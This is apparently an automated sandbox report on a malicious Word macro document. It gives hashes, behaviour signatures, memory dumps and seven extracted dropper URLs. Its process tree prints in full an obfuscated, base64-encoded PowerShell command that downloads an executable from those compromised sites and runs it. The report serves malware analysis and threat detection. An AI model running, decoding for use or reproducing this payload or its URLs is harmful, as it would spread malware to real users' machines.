Analysis

  • max time kernel
    101s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    27/09/2024, 06:15

General

  • Target

    f9dfb6818883bdd938dc96afef17a715_JaffaCakes118.doc

  • Size

    191KB

  • MD5

    f9dfb6818883bdd938dc96afef17a715

  • SHA1

    97e3b47d925f22e0880cb9b18dded3ee831b82f0

  • SHA256

    b3e3aa1c634c56cc979189e670b2a4579c4673e47250b10098d56c0a83b54e06

  • SHA512

    3a4210e47e9d1373030872d495e72f5c9a7478b2229470243b96c969523d94b35317d0b1af674a9769fbfd9e4678d96f3e22e40c46fab0f243360f46b95a5095

  • SSDEEP

    3072:i9ufstRUUKSns8T00JSHUgteMJ8qMD7gjt0zKNf9cfmfE7qdmVJKk/Juvc5a8a8x:i9ufsfgIf0pLOKb2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://reklamdasiniz.com/wp-admin/W/

exe.dropper

http://www.paramedicaleducationguidelines.com/wp-admin/7S/

exe.dropper

http://bimasoftcbt.maannajahjakarta.com/wp-admin/i3K/

exe.dropper

http://casualhome.com/wp-admin/Y/

exe.dropper

https://aemine.vn/wp-admin/KMq/

exe.dropper

http://aahnaturals.net/wp-includes/A3/

exe.dropper

https://sbsec.org/bsadmin-portal/1nf/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f9dfb6818883bdd938dc96afef17a715_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2968
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABWAHQAbQBmADQAegB5AD0AKAAoACcATABsACcAKwAnADcAJwApACsAKAAnAGwAJwArACcAMQBpACcAKQArACcAeQAnACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAE4AVgA6AHUAcwBFAHIAUABSAE8ARgBpAEwARQBcAEsAdgBvADkAOQAwAFcAXAB5AGgAVwAwAFMAOABlAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AGAAUgBJAGAAVAB5AFAAYABSAG8AVABvAGAAYwBvAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxACcAKwAnADIALAAgACcAKQArACcAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABBADAAOABwAHMAcABfACAAPQAgACgAKAAnAE4AJwArACcANABrACcAKQArACgAJwBxACcAKwAnAHUAcAAnACkAKQA7ACQAVwB3AGUAcwBnAHUAcwA9ACgAJwBEACcAKwAoACcANgByACcAKwAnAHYAJwApACsAKAAnADAAJwArACcAYwA1ACcAKQApADsAJABWAGgAYwBxAG8AZwBxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAE8AJwArACgAJwBxAEkAJwArACcASwB2AG8AOQAnACkAKwAoACcAOQAwAHcATwBxAEkAJwArACcAWQBoACcAKQArACcAdwAnACsAJwAwACcAKwAnAHMAJwArACgAJwA4ACcAKwAnAGUATwBxAEkAJwApACkAIAAgAC0AUgBlAFAAbABhAEMARQAoACcATwAnACsAJwBxAEkAJwApACwAWwBDAEgAQQByAF0AOQAyACkAKwAkAEEAMAA4AHAAcwBwAF8AKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAOAA1AHMAeABkAGsAPQAoACcAUwAnACsAKAAnAHUAdAAnACsAJwBwAHoAeAB6ACcAKQApADsAJABKAGgANQBnAG4ANwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMAbABpAEUAbgBUADsAJABUADgAeQA4AGsAeAB5AD0AKAAoACcAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwByAGUAawAnACsAJwBsAGEAbQAnACsAJwBkACcAKQArACgAJwBhAHMAJwArACcAaQBuAGkAegAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwBXAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwB3AC4AcAAnACsAJwBhACcAKQArACgAJwByAGEAbQBlAGQAJwArACcAaQBjAGEAbAAnACkAKwAnAGUAJwArACgAJwBkAHUAYwAnACsAJwBhACcAKQArACgAJwB0ACcAKwAnAGkAbwBuAGcAdQAnACsAJwBpAGQAZQBsAGkAbgAnACkAKwAoACcAZQAnACsAJwBzAC4AJwApACsAKAAnAGMAbwBtAC8AdwBwACcAKwAnAC0AYQBkACcAKwAnAG0AJwApACsAKAAnAGkAbgAnACsAJwAvADcAUwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvAC8AJwArACcAYgBpAG0AYQAnACsAJwBzACcAKQArACcAbwAnACsAKAAnAGYAdABjAGIAJwArACcAdAAuAG0AYQAnACsAJwBhAG4AJwApACsAKAAnAG4AJwArACcAYQBqACcAKQArACgAJwBhACcAKwAnAGgAagBhACcAKwAnAGsAYQAnACkAKwAnAHIAdAAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwApACsAKAAnAC8AaQAnACsAJwAzAEsALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOgAvAC8AJwApACsAKAAnAGMAYQBzAHUAYQBsACcAKwAnAGgAbwBtAGUALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8AWQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcABzADoALwAvAGEAJwArACcAZQBtACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgB2ACcAKwAnAG4AJwApACsAJwAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAoACcAZAAnACsAJwBtAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBLAE0AcQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AYQBhACcAKwAnAGgAJwApACsAKAAnAG4AYQAnACsAJwB0ACcAKQArACgAJwB1ACcAKwAnAHIAJwArACcAYQBsACcAKwAnAHMALgBuAGUAdAAvAHcAcAAnACkAKwAnAC0AaQAnACsAKAAnAG4AYwBsAHUAZAAnACsAJwBlACcAKwAnAHMALwBBADMALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvAC8AcwAnACsAJwBiACcAKQArACcAcwAnACsAJwBlAGMAJwArACgAJwAuACcAKwAnAG8AcgAnACkAKwAoACcAZwAnACsAJwAvAGIAJwApACsAKAAnAHMAJwArACcAYQBkAG0AaQAnACkAKwAoACcAbgAtACcAKwAnAHAAJwApACsAKAAnAG8AJwArACcAcgB0ACcAKQArACgAJwBhAGwAJwArACcALwAxACcAKQArACgAJwBuACcAKwAnAGYALwAnACkAKQAuACIAUwBgAFAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAGcAcQB1AHoAZwBzAD0AKAAoACcAWQBwADMAJwArACcAcgBpACcAKQArACcAeQAnACsAJwB6ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcwByAHkAYQAwAG4AIABpAG4AIAAkAFQAOAB5ADgAawB4AHkAKQB7AHQAcgB5AHsAJABKAGgANQBnAG4ANwBmAC4AIgBkAGAAbwBXAE4AbABPAGAAQQBEAGYAYABJAGwAZQAiACgAJABNAHMAcgB5AGEAMABuACwAIAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUwAwAHYAdAAyADkAMgA9ACgAJwBJADYAJwArACgAJwA0AHgAJwArACcAYQAnACkAKwAnAGMAZwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVgBoAGMAcQBvAGcAcQApAC4AIgBsAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADgANAAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFYAaABjAHEAbwBnAHEAKQA7ACQAUABmADQAeABrAGcAdAA9ACgAJwBVACcAKwAnAHUAJwArACgAJwBoAG0ANAAnACsAJwBhAGIAJwApACkAOwBiAHIAZQBhAGsAOwAkAE4AMQAyAGMAZgBmAHMAPQAoACgAJwBRAGkAJwArACcANQBuADcAJwApACsAJwBhACcAKwAnADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAGwAdwBzADcAbgBwAD0AKAAoACcAQQBlACcAKwAnADkAJwApACsAKAAnAG4AdQByACcAKwAnAHQAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3032

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            b7aac29335ca075d16cac78b2c94995a

            SHA1

            93e1f26ce27d6a5707fcbd0d3d5a2943fac4afbe

            SHA256

            f7baf4d84b67419c1b09b11d3dcc8e784cbad02c32fe7ba18101e9452ecbeb50

            SHA512

            c61e159ac6c762a750fa227dd34dedd8494d51f235cb8943c00f68a874c1ae439699c306e95bbc5dd6d7c78aab6d86afddda17aa5a4cdbc06a802c88ae6a01fc

          • memory/1820-39-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1820-8-0x00000000062C0000-0x00000000063C0000-memory.dmp

            Filesize

            1024KB

          • memory/1820-28-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-7-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-31-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-30-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-29-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-0-0x000000002F8F1000-0x000000002F8F2000-memory.dmp

            Filesize

            4KB

          • memory/1820-38-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-76-0x000000007175D000-0x0000000071768000-memory.dmp

            Filesize

            44KB

          • memory/1820-75-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1820-40-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-52-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-53-0x000000007175D000-0x0000000071768000-memory.dmp

            Filesize

            44KB

          • memory/1820-54-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-55-0x0000000005F10000-0x0000000006010000-memory.dmp

            Filesize

            1024KB

          • memory/1820-2-0x000000007175D000-0x0000000071768000-memory.dmp

            Filesize

            44KB

          • memory/3032-46-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

            Filesize

            2.9MB

          • memory/3032-47-0x0000000002250000-0x0000000002258000-memory.dmp

            Filesize

            32KB